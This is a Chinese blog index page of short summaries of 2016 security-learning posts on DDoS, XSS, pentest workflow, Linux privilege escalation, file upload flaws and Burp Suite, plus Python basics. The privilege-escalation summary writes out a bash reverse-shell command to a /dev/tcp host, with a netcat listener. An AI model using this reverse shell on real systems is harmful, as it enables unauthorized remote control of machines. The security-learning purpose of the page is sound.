会员
周边
众包
新闻
博问
闪存
赞助商
所有博客
当前博客
我的博客
我的园子
账号设置
简洁模式
...
退出登录
注册
登录
请叫我美女sky
博客园
首页
新随笔
联系
管理
订阅
1
2
3
下一页
2016年12月8日
DDOS分布式拒绝服务
摘要: DDOS(分布式拒绝服务)概念 DDOS称为分布式拒绝服务,DDOS本是利用合理的请求伪造资源过载,导致服务不可用。比如一个停车场有100个停车位,当100个停车位都停满后,再有车想要进来。就必须要等已有的车先出来才行。如果已有的车一直不出去,那么停车场的入口就会排有长队。停车场的负荷过载。不能进行
阅读全文
posted @ 2016-12-08 16:29 请叫我美女sky
阅读(1096)
评论(4)
推荐(0)
编辑
2016年9月28日
XSS 初识
摘要: xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行。重点是“脚本”这两个字,脚本主要有javascript和actionscript。要想深入的研究xss,必须要精通
阅读全文
posted @ 2016-09-28 10:14 请叫我美女sky
阅读(1121)
评论(0)
推荐(0)
编辑
2016年9月5日
针对企业级别渗透测试流程
摘要: ![](http://images2015.cnblogs.com/blog/941923/201609/941923-20160905110916066-1606663135.jpg)
阅读全文
posted @ 2016-09-05 11:10 请叫我美女sky
阅读(316)
评论(0)
推荐(0)
编辑
2016年9月2日
Linux下漏洞提权
摘要: Linux下的漏洞提权 linux下一般都是系统漏洞提权,分为以下几个步骤: 提权 反弹shell 本地:nc -l -p 8000 目标机器:/bin/bash -i >& /dev/tcp/10.10.10.10/8000 0>&1 实例 1、得到系统版本号 centos 7 local roo
阅读全文
posted @ 2016-09-02 18:06 请叫我美女sky
阅读(484)
评论(0)
推荐(0)
编辑
2016年9月1日
Python 正则表达式
摘要: 正则表达式 字符串是编程时涉及到的最多的一种数据结构,对字符串进行操作的需求几乎无处不在。比如判断一个字符串是否是合法的Email地址,虽然可以编程提取@前后的子串,再分别判断是否是但粗和域名,但这样做不但麻烦,而且代码难以复用。 正则表达式是一种用来匹配字符串的强有力的武器。它的设计思想是用一种描
阅读全文
posted @ 2016-09-01 17:28 请叫我美女sky
阅读(241)
评论(0)
推荐(0)
编辑
2016年8月29日
文件上传漏洞
摘要: 文件上传漏洞 权限 漏洞分类 利用条件 漏洞挖掘 常见可执行文件后缀
阅读全文
posted @ 2016-08-29 10:23 请叫我美女sky
阅读(186)
评论(0)
推荐(0)
编辑
2016年8月23日
Python 小练习
摘要: 输出标题以及长度 结果 输出网页下方学校地理位置以及 输出”abcdefg”base64编码 输出网页内容的MD5 hash
阅读全文
posted @ 2016-08-23 18:03 请叫我美女sky
阅读(148)
评论(0)
推荐(0)
编辑
2016年8月20日
python 基本语法
摘要: 第一个python程序 Python 标示符 python 引号 Python 接收单引号(`),双引号("),三引号( python 小练习 接收命令行参数 处理命令行参数 (python optparse 模块) 格式化输出
阅读全文
posted @ 2016-08-20 10:31 请叫我美女sky
阅读(230)
评论(0)
推荐(0)
编辑
2016年8月19日
url的内容及格式
摘要: url的内容及结构: url格式: Schema 协议名称 : 伪协议: // login:password address:服务器地址 port:服务器端口 /path/to/resource:层级文件路径 ?query_string :查询字符串 #fragment:片段ID 相对url url
阅读全文
posted @ 2016-08-19 21:33 请叫我美女sky
阅读(479)
评论(0)
推荐(0)
编辑
2016年8月18日
BurpSuite 抓手机包
摘要: Windows and Phone 处于同一无线环境下 Windows Phone Burp Suite设置 抓http包 抓https包 先导出证书、 下载到手机 burp suite抓包 成功抓到https包 啦啦啦啦啦啦啦啦啦啦啦~ 我是卖报的小行家
阅读全文
posted @ 2016-08-18 20:14 请叫我美女sky
阅读(1529)
评论(0)
推荐(0)
编辑
1
2
3
下一页
公告